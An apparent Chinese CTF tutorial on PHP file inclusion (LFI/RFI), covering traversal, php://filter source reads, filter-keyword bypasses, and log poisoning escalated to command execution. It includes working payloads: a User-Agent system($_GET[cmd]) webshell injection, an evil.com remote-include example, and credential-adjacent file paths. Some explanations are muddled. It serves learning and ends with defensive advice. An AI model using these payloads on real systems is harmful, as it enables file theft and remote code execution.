ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

从?page=参数到LFI:PHP文件包含漏洞原理与绕过实战

从?page=参数到LFI:PHP文件包含漏洞原理与绕过实战 第一次在 ctfshow 上刷到文件包含这个考点时好多人的第一反应都一样这不就是个正常的页面加载参数吗?pagehome.php这种形式看起来人畜无害怎么就成漏洞了我刚接触 Web 安全那阵子也是这个想法直到自己在本地环境把include函数和用户输入拼在一起亲眼看着/etc/passwd的内容被原样吐出来才真正理解漏洞的成因不在功能而在信任边界。这篇文章围绕 ctfshow 上的文件包含题目把这一块的基础知识点和绕过高频操作梳理一遍。适合正在刷 Web 入门系列、卡在?page和?file这些参数上不知道怎么继续的选手也适合想系统补一下 LFI/RFI 原理的初学者。我会按自己真实做题的思路来写尽量把“为什么这么做”讲清楚而不是只给一串 Payload。1. 文件包含问题的实质include 信任了不该信任的输入1.1 从 include 函数说到漏洞本质PHP 提供了一族文件包含函数include、include_once、require、require_once。它们的作用就是把一个文件的内容拿过来交给 PHP 引擎当成当前脚本的一部分继续解析。正常场景下网站为了共用页头页尾常常会写这样的代码?php $page $_GET[page]; include($page); ?比如index.php?pageheader.php就加载 header 文件index.php?pagefooter.php就加载 footer功能上非常灵活。问题出在哪出在$page这个变量完全由用户控制服务器没有验证它到底是“本站页面”还是“任意文件”。如果你把参数改成index.php?page../../../../etc/passwdPHP 在处理相对路径时会一层一层往上跳最终把/etc/passwd文件内容读出来。因为include只负责“把文件内容丢给 PHP 处理”对于非 PHP 后缀的文件它会原样把内容输出到响应里。这就是文件包含漏洞的实质把用户输入直接拼接进文件包含逻辑导致任意文件读取。1.2 LFI 与 RFI 的区别以及 CTF 中为什么常考 PHP文件包含按来源分成两种LFI本地文件包含包含的是服务器本地的文件比如/etc/passwd、flag.php。RFI远程文件包含包含的是远程服务器上的文件比如http://evil.com/shell.txt。远程包含的危害比本地包含大得多因为攻击者可以直接让目标服务器执行自己的代码。但 PHP 远程文件包含有个前提配置文件里allow_url_include要设置为 On。默认情况下这个是 Off 的所以现代真实环境里 RFI 很少见CTF 里如果出题人想考这个点会在 Dockerfile 或 php.ini 里显式打开。而 LFI 则非常常见因为它不需要额外的配置开关只要代码里存在动态包含即可。CTF 里文件包含为什么大多和 PHP 绑定因为 PHP 的文件包含函数还能配合各种伪协议。Java、Python 虽然也有可能存在类似路径穿越的问题但它们的“包含”机制和 PHP 完全不一样很难像 PHP 这样通过php://filter直接读源码、通过data://直接执行代码。所以刷 ctfshow 的 Web 入门如果看到题目里出现明显的file、page、include这类参数第一反应就应该是这八成是一道 PHP 文件包含题。2. ctfshow 里典型考法参数点、后缀追加与路径穿越的边界2.1 经典入口?page 参数与看似正常的功能点开始之前先把识别方法说清楚。文件包含题目在 ctfshow 上其实有挺明显的特征URL 里会出现一个参数名常见的有page、file、include、action、path、dir。也有少数题目会把路径放在 PATH_INFO 里比如index.php/home/about。看到这类参数第一步就是用最简单的方式试探?page../../../../etc/passwd ?fileindex.php ?includephp://filter/readconvert.base64-encode/resourceindex.php如果页面出现了root:x:0:0:root:/root:/bin/bash这种内容或者输出一段 Base64基本就坐实了文件包含。如果什么反应都没有说明可能有过滤、扩展名拼接或者其他限制需要继续往下走。另外我建议拿到题目先看一眼响应头里的Server字段和 PHP 版本信息。ctfshow 大多数 Web 题都是 Docker 环境PHP 版本可能从 5.x 到 8.x 都有。版本不同很多老技巧是否成立完全不一样。后面第三节会细说。2.2 后缀追加时的绝对路径与空字节逻辑出题人不会傻到让你直接include($_GET[page])就完事。ctfshow 的入门系列里很多题会在包含前后加点“料”最常见的是?php $file $_GET[file]; include pages/ . $file . .php; ?代码的意思是你要包含的文件必须放在pages/目录下而且必须以.php结尾。这样一来普通的../../../../etc/passwd会变成pages/../../../../etc/passwd.php路径虽然穿越了但最后多了.php后缀目标文件就不存在了。针对这种后缀追加老一批 CTF 选手最熟悉的解法是空字节截断?file../../../../etc/passwd%00在 PHP 5.3 之前的版本里C 语言层面的字符串处理遇到\0会截断所以include实际加载的是pages/../../../../etc/passwd后面加的.php被忽略。但 PHP 5.3.4 之后这个坑被修复了现在 ctfshow 上大部分环境都是 PHP 7空字节截断基本用不了。那怎么办有两个稳定思路绝对路径代码拼接后是pages//etc/passwd.php但如果你输入../flag.php会变成pages/../flag.php如果pages目录和flag.php在同一级这个路径可以命中。用伪协议绕过后缀php://filter这类协议在解析时resource后面的部分才是资源名。如果输入php://filter/readconvert.base64-encode/resourceflag.php拼接后变成pages/php://filter/readconvert.base64-encode/resourceflag.php.php这看起来很奇怪但部分场景下include会把pages/和前面的部分当成目录路径处理而 PHP 的 filter 流会重新解析整个字符串。实际是否生效取决于内容。这就是为什么做题时要多试几种姿势不要死记一个 Payload。2.3 后缀解析差异为什么有时候绝对路径反而更稳上面提到绝对路径/etc/passwd加后缀的问题pages//etc/passwd.php。Linux 系统里pages/是一个目录//etc/passwd.php会被解释为从根目录开始的路径所以真正的路径其实是/etc/passwd.php这个文件不存在。但如果目标是站内文件比如flag.php就在项目根目录下你可以用这种路径让拼接后的结果落在正确位置?file../flag.php拼接后是pages/../flag.php也就是项目根目录下的flag.php完美命中。这个技巧看起来简单却是很多新手容易忽略的后缀追加并不是不可绕过的关键是让目标文件在拼接后的路径里“对得上”。先用目录结构反推再构造相对路径往往比重金砸各种伪协议更直接。3. 读源码阶段的核心武器php://filter 与过滤器的边界3.1 为什么要用 Base64 读出 PHP 源码如果直接include一个.php文件PHP 会把它当脚本执行。比如flag.php内容是这样的?php $flag ctfshow{test_flag}; echo $flag; ?直接?fileflag.php输出的只是ctfshow{test_flag}你看不到$flag 这行代码更别提echo $flag;后面可能还有注释、数据库连接信息之类的隐藏内容。很多题目的 flag 变量就藏在源码里直接执行只会打印一部分必须看原始代码。php://filter就是干这个用的。它可以通过过滤器把文件内容转成另一种形式避免 PHP 引擎直接执行。Base64 是首选?filephp://filter/readconvert.base64-encode/resourceflag.php这个 Payload 会把flag.php的原始内容进行 Base64 编码后输出然后你在响应里拿到一串密文解码后就是完整的 PHP 源码。我经常看到有人用手工解码或者复制到在线工具里解码。效率没问题但做题时环境时间宝贵建议直接命令行一把梭echo PD9waHAgJGYgPSAiY3Rmc2hvd3sifTsgPz4 | base64 -d3.2 大小写、过滤器选择与资源名细节php://filter有几个容易被忽略的细节。第一协议名和处理过滤器名在 PHP 里不区分大小写。PHP://Filter和php://filter效果一样。有些题目做了简单的关键词拦截只拦小写php://那你直接换大写版本就可能绕过。第二read可以省略。php://filter/convert.base64-encode/resourceflag.php也可以生效默认会按读过滤器处理。写过滤器一般配合php://input用CTF 里不太常见。第三多个过滤器可以用|串联php://filter/readconvert.base64-encode|string.rot13/resourceflag.php这种串联在题目要你“二次解码”时会出现。常见做法是先string.rot13再convert.base64-encode输出后发现是带干扰的密文需要一层层剥开。第四如果目标文件名本身有.php后缀但拼接时又加了一个.php比如resourceflag.php会被拼成flag.php.php这时候可以先试resourceflag或resource./flag不同版本的行为不一致。我的经验是先看是否能读出内容读不出来就换资源名写法没必要死磕一个。3.3 一条链路的完整演示从过滤到读出隐藏 flag拿一个非常常见的 ctfshow 风格代码举例?php $file $_GET[file]; if (preg_match(/php|data|filter/i, $file)) { die(no no no); } include /var/www/html/ . $file . .php; ?这个题目过滤了php、data、filter三个关键词大小写不敏感。看到这种题不要慌它的过滤位置在协议名上而不是在resource内容上。我们可以这样想它过滤的是字符串不是流解析行为。如果直接构造?filephp://filter/readconvert.base64-encode/resourceindex会被正则拦住因为php出现了。那怎么办有两个方向用./和目录跳转绕过拦截。?file./../../...绕过的不是正则是路径本身。但如果正则只匹配php|data|filter这个方向不行。用大小写变体。我前面提到协议名不区分大小写但这里正则带了i修饰符也不行。真正合适的办法是利用正则的匹配点。它只过滤php这个整体字符串如果我用多级路径让最终被include的文件名里不出现这串字符就不算非法。比如?file..//..//..//flag这读的是/var/www/html/..//..//..//flag.php本质上是目录穿越但可以用来看别的。如果想看index.php源码思路是换个过滤器。我遇到这种题目一般会优先试php://filter的大小写、双写、填入./干扰正则比如?file./php://filter/readconvert.base64-encode/resourceindex有些环境里./php://会被include当成一个相对路径导致协议不生效但有些版本可以。所以我说 ctfshow 做题最忌讳只背 Payload一定要理解每个 Payload 背后的解析逻辑然后针对当前环境做调整。4. 绕过过滤规则的几种对抗思路编码、符号干扰与多重过滤链4.1 过滤关键词时的双写与大小写变体CTF 里常见的过滤写法有两种正则拦截和str_replace替换。这两种应对思路完全不同。正则拦截比如preg_match(/php/i, $file)只是“判断是否存在”不修改原字符串。这时候你可以试试双写?filephpphp://filter/readconvert.base64-encode/resourceflag.php有的出题人写的是str_replace(php, , $file)会把第一次出现php替换成空字符串phpphp替换后变成php原本被删掉的关键字又回来了。但如果是正则拦截双写没意义因为依然能匹配到php。还有就是把/换成\、反斜杠大小写混合、URL 编码混合但要注意不同服务器对 URL 解码的处理路径不同。比如 nginx 默认会对%2f解码后传给 PHP-CGI但某些配置下可能不会这会导致本地测试成功、远程环境失效。所以我在 ctfshow 上遇到这类题通常会准备一个本地php -S环境快速验证不同版本差异真的很大。4.2 路径穿越过滤的几种绕过形态过滤../是文件包含题最常见的套路之一。常见写法$file str_replace(../, , $file);这种替换只替换一次所以可以构造....//....//....//etc/passwd替换完第一组../也就是....//里的中间部分后字符串变成../../开头的路径刚好完成穿越。如果替换是递归的比如while循环一直删到没有../为止那就需要用编码绕过..%2f..%2f..%2fetc/passwd服务器在解析重定向和文件路径时会对%2f解码有些环境能正常读出来。如果同时过滤.和/那基本上属于“考正则绕过”的难题了常见套路是用....//来绕.的匹配因为正则preg_replace(/\.\.\//, , ....//)会把中间的../删掉剩下的../又组成了穿越路径。这种题目在 ctfshow 上偶尔会出现思路依然是“利用删除逻辑产生的新路径”。4.3 多重过滤器链当基础协议全被拦死时的一种思路php://filter的强大之处不只是读源码它还能通过在同一个流上串联多个过滤器来对文件内容进行二次、三次变换。最常见的链子php://filter/readconvert.base64-encode|convert.iconv.utf-8.utf-16/resourceflag.phpconvert.iconv.*系列过滤器可以进行字符编码转换string.rot13可以做字母偏移转换dechunk可以处理分块数据。多个过滤器串联后输出内容会经过多重处理往往能把原先被正则拦截的关键字拆散避免触发filter或base64的黑名单。举一个我实际做过的思路如果题目拦截了base64这个词但允许iconv我可以用php://filter/readconvert.iconv.utf-8.utf-16le|string.rot13/resourceflag.php输出会是一堆乱码加干扰字符但这段内容里没有base64可以避开关键词检查。拿到乱码后再根据使用的过滤器逆推解码。这一类过滤器链在入门题里不算高频但它是“文件包含进阶”的标志性内容。如果发现前面几种绕过全部失效就要往这个方向多想想。5. 从任意文件读到代码执行日志包含与相似路径5.1 为什么日志文件能成为突破口文件包含虽然已经能读取服务器上的任意文本文件了但它的目标通常只是/flag这类敏感文件。有时候 flag 不在文件里或者目标环境把 PHP 代码执行结果藏起来了你只能读文件却没办法执行代码。这种情况下需要把 LFI 升级成 RCE远程代码执行。思路核心很简单找服务器上一个“你能写入内容、且会被 PHP 引擎解析”的文件。日志文件正好满足条件。以 Apache 为例访问日志默认路径是/var/log/apache2/access.log。你访问目标网站时服务器会把你发送的请求记录到这个文件里。记录内容的格式大概是192.168.1.1 - - [01/Jan/2024:10:00:00 0000] GET /index.php HTTP/1.1 200 1234 Mozilla/5.0如果我在请求的 User-Agent 字段里塞一段 PHP 代码比如User-Agent: ?php system($_GET[cmd]); ?那么请求访问日志时这段代码就会原样写入日志文件。然后再用文件包含漏洞把日志文件包含进来?file/var/log/apache2/access.logcmdidPHP 引擎在解析日志文件时遇到?php ... ?标签就会执行里面的代码system(id)直接执行输出命令结果。这就完成了从任意文件读到命令执行的一步。5.2 注入点选择为什么 User-Agent 比 URL 更稳实际操作的时候很多人习惯在 URL 后面加 Payload比如访问GET /index.php?cmd?php system($_GET[cmd]); ? HTTP/1.1这种方式有个问题在 Nginx 或 Apache 的访问日志格式里$request字段会把带特殊字符的 URL 原样记录但不少服务器配置会转义或截断特殊字符。而 User-Agent 字段在大多数日志格式里是原样记录的而且内容可以很长适合放代码。如果日志里?php被转义成?php或变成?php那包含进去 PHP 引擎就不会认。这时候可以调整注入语法比如用短标签? system($_GET[cmd]); ?或者把代码拆成多行避免特殊字符被日志格式处理。用 Burp 发送原始请求是最稳定的做法。手工把请求包改一下在User-Agent里塞入代码然后保持 TCP 连接不断开直接请求一次日志里就会留下标记。5.3 日志路径不固定时的替代方案如果你不知道日志文件在哪个路径常见候选有/var/log/apache2/access.logDebian/Ubuntu 系 Apache/var/log/httpd/access_logCentOS 系 Apache/var/log/nginx/access.logNginx/var/log/nginx/error.logctfshow 的 Docker 环境里Apache 镜像居多/var/log/apache2/access.log命中率很高。如果日志路径变了可以先把整个目录结构摸一遍或者尝试用伪协议读/proc/self/cmdline看看 web 服务启动命令再推断日志路径。除了日志还有一些类似思路Session 文件包含PHP 默认把 Session 文件存到/tmp/sess_sessionid如果你能控制 Session 内容比如把 PHP 代码写入$_SESSION值再用 LFI 包含它。文件名没有.php后缀如果代码是include $file . .php这种思路会卡住。临时上传文件包含上传一个包含 PHP 代码的文件然后用 LFI 去包含它但 PHP 会在请求结束后删除临时文件需要用到条件竞争难度较大。/proc/self/environ把 PHP 代码写进 HTTP 头然后通过 LFI 读环境变量文件。这个技巧太老很多环境默认读取权限已限制现代 Docker 基本不行了。6. 实战排查清单与训练建议6.1 拿到文件包含题后我的固定排查顺序自己刷 ctfshow 文件包含题时慢慢总结了一套固定流程分享出来看参数名判断是page、file还是include先试一次/etc/passwd确认存在 LFI。用php://filter/readconvert.base64-encode/resourceindex.php读目标源码搞清楚过滤规则和拼接方式。看过滤规则是在代码里preg_match还是str_replace大小写敏感不敏感过滤的是参数还是最终拼接出来的路径判断目标文件名后缀读源码时资源名要不要带.php带上了会不会拼出.php.php逐个尝试伪协议php://filter不行就试php://input、data://只读不行就找 RCE 入口。如果直接执行不了转日志包含、Session 包含等旁路。这套顺序让我避免了很多“乱试字符串”的低效操作。直接读源码永远是第一步只有看清楚了过滤规则后面的绕过才能对症下药。6.2 容易踩的坑和自测方法第一个坑是对 PHP 版本判断出错。空字节截断和短标签这类技巧对版本极度敏感我在本地 PHP 8 环境测试一个?短标签没问题但环境是 PHP 5 时某些配置需要开启short_open_tag才能生效。所以我建议你在本地装一个和 ctfshow 环境差不多的 PHP 容器版本越低越能覆盖老技巧。第二个坑是过滤器链的解码顺序搞反。多个过滤器串联时输出是你从流里读到的最后结果解码时要逆着过滤器顺序来。比如convert.base64-encode|string.rot13先 Base64 再 ROT13解码时就要先 ROT13 再 Base64。第三个坑是把php://filter当成所有文件包含题的万能钥匙。如果题目过滤了php://你却还在纠结怎么拼这个协议名不如回头看看这个过滤是不是可以用路径拼接绕过去或者直接走data://。做 CTF 时思路灵活比技巧多更重要。自测方法很简单把题目代码复制到本地自己去实现过滤逻辑再写脚本测试各种绕过变体。很多网上流传的 Payload 在特定版本才有效只有亲手验证过做题时才有底气。6.3 日常开发中怎么避免写出文件包含漏洞写了几年代码之后回头看文件包含漏洞的根源就是“文件名不可控”。写业务代码时必须坚持这一条文件名和路径用白名单比如定义好允许包含的模块用户传入的索引必须匹配白名单。绝不直接拼接用户输入到include、require、fopen这类函数里。如果确实需要动态包含先做真实路径校验把路径限制在站点目录内。关闭远程文件包含开关生产环境里allow_url_include保持默认 Off。对上传文件做随机命名避免攻击者通过文件名预测路径。CTF 题目的很多漏洞原型其实就是早期真实项目中常见的不规范写法的放大。把漏洞原理弄明白不光学做题有帮助写代码时也能形成条件反射式的安全意识。我在 ctfshow 上刷文件包含这部分题时最大的感受是它很像解谜游戏给的不是终极答案而是一条由源码和过滤规则组成的线索链。读源码、看过滤、构造 Payload、验证执行每一步都需要你对 PHP 的机制有足够细的了解。把这一套练熟了后面再遇到任意文件读取、包含 RCE、甚至复杂过滤器链的题目思路都会清晰很多。
返回列表